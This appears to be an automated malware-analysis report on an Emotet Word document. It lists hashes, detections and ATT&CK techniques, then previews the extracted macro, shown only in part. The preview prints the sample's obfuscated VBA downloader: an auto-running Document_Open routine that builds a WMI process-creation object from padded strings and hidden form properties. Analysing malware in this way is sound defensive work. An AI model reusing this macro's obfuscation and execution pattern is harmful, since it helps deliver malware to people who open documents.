Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 cb25ae558b0f7fcf…

MALICIOUS

Office (OLE)

230.8 KB Created: 2020-08-18 06:18:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 5721d3680f0824bc381d66726a268344 SHA-1: 19c1808ce31a335311661e453a1e193ae4a348b6 SHA-256: cb25ae558b0f7fcfc47025986a8012bb4b205121e43c896f85fcf9e1dbff0441
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are hallmarks of Emotet. The macro's obfuscated nature and use of CreateObject suggest it is designed to download and execute a secondary payload. The ClamAV detection also explicitly identifies it as Doc.Downloader.Emotet.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9372917-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9372917-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11195 bytes
SHA-256: 4526a3f4c6217d46b25fd5e9f12d89dea38467ce9c443f95998f5293de4277e8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Xxqelmozdl4iu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Dm3x9mvsl_0ejo2.Rufbgd7wt80k
End Sub


Attribute VB_Name = "Dm3x9mvsl_0ejo2"
Attribute VB_Base = "0{D2A6E0A1-360E-49FF-9887-BD6B974860E2}{2EC5E7CB-23BD-4E96-A4F2-9EAEC2673FAB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Rufbgd7wt80k()
   For Lf2hkozf2q4 = 5 To 62
DoEvents
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Next Lf2hkozf2q4
E4wp0wmsh0c8mj3 = 445
Oiy7rf0igfjx33 = 232
E4wp0wmsh0c8mj3 = E4wp0wmsh0c8mj3 + Oiy7rf0igfjx33
Fxrkogff0ql = E4wp0wmsh0c8mj3
Xrbyxrzo3xb9u1 = Dm3x9mvsl_0ejo2.HelpContextId + 50 + 50
   For Lf2hkozf2q4 = 5 To 62
DoEvents
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Next Lf2hkozf2q4
E4wp0wmsh0c8mj3 = 264
Oiy7rf0igfjx33 = 969
E4wp0wmsh0c8mj3 = E4wp0wmsh0c8mj3 + Oiy7rf0igfjx33
Em0_x3ieu8ueuk = E4wp0wmsh0c8mj3
Hkrz72wkfq_r_q2x = ChrW(Xrbyxrzo3xb9u1 + (15))
   For Lf2hkozf2q4 = 5 To 62
DoEvents
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Next Lf2hkozf2q4
E4wp0wmsh0c8mj3 = 690
Oiy7rf0igfjx33 = 809
E4wp0wmsh0c8mj3 = E4wp0wmsh0c8mj3 + Oiy7rf0igfjx33
T1lwrhkxrrji1d = E4wp0wmsh0c8mj3
Ar8wct1xgjcuzkn = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + Hkrz72wkfq_r_q2x + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + Dm3x9mvsl_0ejo2.Wh4x1t3mtyibw4 + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg"
   For Lf2hkozf2q4 = 5 To 62
DoEvents
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Next Lf2hkozf2q4
E4wp0wmsh0c8mj3 = 55
Oiy7rf0igfjx33 = 702
E4wp0wmsh0c8mj3 = E4wp0wmsh0c8mj3 + Oiy7rf0igfjx33
Voz0qibq5o5xoo = E4wp0wmsh0c8mj3
Hfjfnn2t50ong_mlfn = Mr0d6rxeiokvcejeh(Ar8wct1xgjcuzkn)
   For Lf2hkozf2q4 = 5 To 62
DoEvents
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Next Lf2hkozf2q4
E4wp0wmsh0c8mj3 = 13
Oiy7rf0igfjx33 = 878
E4wp0wmsh0c8mj3 = E4wp0wmsh0c8mj3 + Oiy7rf0igfjx33
F17b3xfvpp03 = E4wp0wmsh0c8mj3
Set K6xf8rd_nio75xne = CreateObject(Hfjfnn2t50ong_mlfn)
   For Lf2hkozf2q4 = 5 To 62
DoEvents
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Next Lf2hkozf2q4
E4wp0wmsh0c8mj3 = 305
Oiy7rf0igfjx33 = 25
E4wp0wmsh0c8mj3 = E4wp0wmsh0c8mj3 + Oiy7rf0igfjx33
Aonbb0m4lzgs2gnq = E4wp0wmsh0c8mj3
Cufpb70yw4ng5goo8n = Dm3x9mvsl_0ejo2.A6f4sbasxzei.ControlTipText
   For Lf2hkozf2q4 = 5 To 62
DoEvents
Debug.Print (CStr(F0qzmh8tcyik1wmcp5) & CStr(N45zs_duyud40r))
Debug.Print (CStr(F0qzmh8tcyik1w
... (truncated)

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